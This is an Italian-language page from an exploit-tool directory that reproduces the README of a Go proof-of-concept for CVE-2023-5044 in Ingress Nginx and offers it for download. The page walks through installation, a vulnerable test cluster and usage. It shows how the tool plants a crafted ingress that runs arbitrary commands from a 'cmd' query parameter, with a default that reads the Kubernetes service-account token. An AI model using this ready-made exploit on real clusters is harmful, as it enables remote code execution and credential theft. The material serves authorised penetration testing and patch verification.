Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2023-5044 — Exploit proof-of-concept basato su Go per CVE-2023-5044 in Ingress Nginx, che automatizza l'esecuzione remota di codice tramite oggetti ingress appositamente creati nei cluster Kubernetes. | Kitploit
Strumenti/GitHubGitHub/4armed/cve-2023-5044
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza CloudCommand and ControlRed Teaming
GitHub4armed/cve-2023-5044

cve-2023-5044

Exploit proof-of-concept basato su Go per CVE-2023-5044 in Ingress Nginx, che automatizza l'esecuzione remota di codice tramite oggetti ingress appositamente creati nei cluster Kubernetes.

212 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2023-5044 Prova di concetto dell'exploit Ingress Nginx

Questo è un veloce programma Go per sfruttare la recente CVE nel controller Ingress Nginx.

I dettagli su come farlo sono già disponibili tramite il blog di Rory McCune all'indirizzo https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, questo automatizza solo un po' il processo e pulisce l'exploit per renderlo un payload più flessibile e generico di esecuzione remota di codice.

Installazione

root@kitploit:~
% go install github.com/4armed/cve-2023-5044@latest

Cluster di Test

Avrai bisogno di un cluster su cui eseguirlo, con una versione vulnerabile di ingress-nginx (ovviamente). Se non ne hai uno su cui testare, puoi creare un cluster Kind clonando questo repository e usando il Makefile nella cartella deploy.

root@kitploit:~
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up

Se lasci il file kind.yaml così com'è, avrai un cluster legato al tuo localhost sulle porte 30080 e 30443.

Utilizzo

root@kitploit:~
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"

La riga "checking permissions" è dovuta al fatto che lo strumento esegue una Subject Access Review per verificare che tu abbia i permessi per creare un ingress. Se non li hai, uscirà a quel punto. Se hai accesso in modifica a un ingress esistente, puoi certamente usare l'exploit per ottenere un compromesso, ma è troppo complesso automatizzare l'aggiornamento di un ingress esistente senza rompere nulla.

Il percorso predefinito per attivare l'exploit è /4armed e legge ed esegue il valore del parametro della stringa di query cmd.

Stamperà un URL di esempio con il comando predefinito cat /var/run/secrets/kubernetes.io/serviceaccount/token. Puoi cambiarlo con il flag -e o semplicemente fornire un valore diverso nel parametro cmd. L'exploit non è hard-coded. Non è necessario distribuire un nuovo ingress.

root@kitploit:~
%  curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)

Il nome dell'oggetto ingress è randomizzato usando GenerateName, quindi presta attenzione all'output e pulisci dopo di te.

root@kitploit:~
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted

Se vuoi solo generare l'oggetto ingress, usa:

root@kitploit:~
% cve-2023-5044 generate

Disclaimer

Questo è solo a scopo di test contro un cluster per il quale hai l'autorizzazione. Se lo usi contro un cluster, che tu abbia o meno il permesso, l'autore non si assume alcuna responsabilità per eventuali danni o problemi causati. È stata prestata la massima attenzione nella scelta di valori di percorso che non entrino in conflitto con quelli esistenti; puoi sovrascriverli con i flag o modificare il codice se necessario, ma potresti comunque rompere qualcosa. Assicurati di sapere cosa stai facendo.

Scarica lo strumento